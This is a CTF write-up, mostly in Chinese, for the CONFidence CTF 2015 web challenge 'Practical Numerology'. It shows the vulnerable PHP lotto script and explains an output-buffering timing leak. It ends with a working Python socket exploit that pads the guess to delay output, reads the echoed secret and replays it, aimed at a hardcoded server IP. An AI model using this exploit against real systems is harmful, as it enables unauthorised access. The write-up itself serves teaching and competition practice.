Practical Numerology
- Write-up Author : Mango King
- E-mail : yench@cs.nctu.edu.tw
Abstract
- Category : web
- Language : php
- Type : time-base vulnerability
Description
Here's a lotto script, running on my old and slow computer. Can you pwn it?
Problem
<?php
function generate_secret()
{
$f = fopen('/dev/urandom','rb');
$secret1 = fread($f,32);
$secret2 = fread($f,32);
fclose($f);
return sha1($secret1).sha1($secret2);
}
session_start();
if(!isset($_SESSION['secret']))
$_SESSION['secret'] = generate_secret();
if(!isset($_POST['guess']))
{
echo 'Wanna play lotto? Just try to guess 320 bits.<br/><br/>'.PHP_EOL;
highlight_file(__FILE__);
exit;
}
$guess = $_POST['guess'];
if($guess === $_SESSION['secret'])
{
$flag = require('flag.php');
exit('Lucky bastard! You won the flag! ' . $flag);
}
//else...
echo "Wrong! '{$_SESSION['secret']}' != '";
echo htmlspecialchars($guess);
echo "'";
$_SESSION['secret'] = generate_secret();
Procedure
網頁題最重要的一點就是找出題目的類型,SQL injection? XSS? logical vulnerability?
本題很明顯不是 SQL injection ,是故我在嘗試找邏輯漏洞和 XSS 花了不少時間.
首先邏輯漏洞最大嫌疑點在於判斷式
<?php
if($guess === $_SESSION['secret']){}
可惜在 === 的狀況下,沒有 '0e123' == '0e321' 的漏洞,在此可以斷定沒有邏輯上的漏洞.
(請求連結參考)
XSS 自己不太熟捻,不然第一時間就該判斷出不可能,畢竟就算寫了 javascript 也拿到不 session.
我一度想過本題的正解 時間差攻擊
因為 secret 會先 echo 出來,
才會進行 generate_secret() 更改 secret.
<?php
echo "Wrong! '{$_SESSION['secret']}' != '";
echo htmlspecialchars($guess);
echo "'";
$_SESSION['secret'] = generate_secret();
可惜被某人誤導(ry):php 必須在執行完畢後才會開始輸出(不flush()時)
就沒有嘗試寫腳本了,必須檢討QQ
事實上 php 會參考 php.ini output_buffering 所設定的大小
當 echo 超過定量字數後,就開始 output 到 client
是故不一定需要 flush 就能夠使用 time-base attack
關於 output_buffering
Solution
#!/usr/bin/python
#
# Teaser CONFidence CTF 2015
# Practical numerology (WEB/300)
#
# @a: Smoke Leet Everyday
# @u: https://github.com/smokeleeteveryday
#
import socket
import re
url = '134.213.136.172'
data = 'guess='
payload1 = 'GET / HTTP/1.1\r\n'
payload1 += 'Host: 134.213.136.172\r\n\r\n'
payload2 = "POST / HTTP/1.1\r\n"
payload2 += "Host: 134.213.136.172\r\n"
payload2 += "Cookie: PHPSESSID={}\r\n"
payload2 += "Content-Length: {}\r\n"
payload2 += "Content-Type: application/x-www-form-urlencoded\r\n\r\n"
payload2 += "{}"
#拿cookie (非必要,本題可以自行指定cookie)
s = socket.create_connection((url, 80))
s.send(payload1)
cookie = re.findall('PHPSESSID=(.*);', s.recv(1500))[0]
s.close()
#拿secret
s = socket.create_connection((url, 80))
guess = data + 'A'*1000000 #第一次猜測時,受過塞爆 guess 拖延 echo 時間
s.send(payload2.format(cookie, len(guess), guess))
secret = re.findall("'(.*)' !=", s.recv(500))[0] # 讀到 secret 就停止,進行下一輪送 guess
s.close()
#送secret
s = socket.create_connection((url, 80))
guess = data + secret
s.send(payload2.format(cookie, len(guess), guess))
print s.recv(2000).splitlines()[-1]
s.close()